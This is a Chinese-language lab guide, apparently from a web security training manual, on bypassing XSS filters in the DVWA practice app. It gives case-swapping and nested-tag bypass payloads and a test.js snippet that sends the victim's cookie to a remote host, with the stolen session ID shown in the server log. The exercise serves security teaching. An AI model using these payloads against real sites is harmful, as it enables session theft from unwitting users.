Web安全与防护 实训指南 4.4绕过XSS漏洞防范措施.pdf
绕过XSS漏洞防范措施
【实训目的】
1.掌握绕过XSS攻击防范措施的技巧;
2.能够将登录用户的cookie发送到远程主机。
【实训步骤】
步骤1、登录DVWA系统。在DVWASecurity当中选择medium选项,并提
交。然后选择XSSreflected。
步骤2、检测XSS漏洞。在对话框中输入:xsscriptalert(/xss/)/script,
点击submit之后,此时,并没有弹出警告提示框。
图4-13DVWA系统XSS跨站中等安全级别界面
出现Helloxsalert(/xss/),说明script、/script被净化掉。
步骤3、尝试绕过净化或者过滤。
(1)大小写更换尝试,将script更换成SCRIPT。在对话框中输入:
xsSCRIPTalert(/xss/)/SCRIPT。点击submit之后,能弹出警告提示框,说
明仅对script的小写形式进行了净化。
(2)用scrscriptipt代替script尝试。在对话框中输入:
xsscrscriptiptalert(/xss/)/scrscriptipt。点击submit之后,能弹出警告提
示框,说明仅对script的小写形式进行了净化,并且没有递归净化。
步骤4、将cokie发送到远程主机。
(1)在另一台电脑安装XAMPP的主机,这台主机IP:,WEB
服务端口8000。
(2)启用远程主机的apache服务,并在htdos目录下编辑test.js。test.js的
内容为:
varimg=document.createElement(img);
img.src=http://:8000/log?+escape(document.cookie);
document.body.appendChild(img);
(3)在对话框中输入:
SCRIPTsrchttp://:8000/test.js/SCRIPT,点击submit。通
过firebug查看,将会看到以下源代码:
imgsrc=:8000/log?security%3Dmedium%3B%20PHPSE
SSID%3Dea554ac9604ee34ed83d828bd5d4e0ea,即将自己的cookie作为参数去
访问了:8000网站。
图4-14通过FireBug查看本机的操作
(4)在远程主机查看日志记录,观察是否有cookie值。在apache的logs文
件夹下找到access.log文件,并打开,会看到类似内容,其中包含了用户登录存
在XSS漏洞的网站的cookie。
图4-15远程主机access.log包含发送的cookie信息
在这里%3D、%3B、%20是URL编码,分别代表:、;、空格。
【实训总结】
通过实训可以看到:
1.XSS漏洞防范如果不严格可能会被绕过。
2.利用XSS漏洞可以窃取用户cookie;
3.在利用XSS漏洞时,防止输入URL过长,可引用其它网站的js文件。